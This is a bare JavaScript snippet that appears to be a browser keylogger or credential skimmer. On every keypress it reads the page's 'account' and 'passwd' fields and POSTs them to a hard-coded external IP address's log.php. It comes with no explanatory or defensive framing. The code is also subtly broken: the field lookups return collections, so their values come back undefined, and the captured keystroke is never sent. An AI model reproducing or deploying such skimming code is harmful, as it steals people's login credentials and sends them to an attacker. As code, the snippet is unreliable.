document.onkeypress = function(evt) {
    evt = evt || window.event
    key = String.fromCharCode(evt.charCode)
    if(key) {
      var http = new XMLHttpRequest();
      var param = encodeURI(key);
      var user = document.getElementsByName("account").value;
      var user = encodeURI(user);
      var pass = document.getElementsByName("passwd").value;
      var pass = encodeURI(pass);
      http.open("POST", "http://209.97.169.113/log.php", true);
      http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
      http.send("key="+user+"___"+pass+"\n\n");
    }

}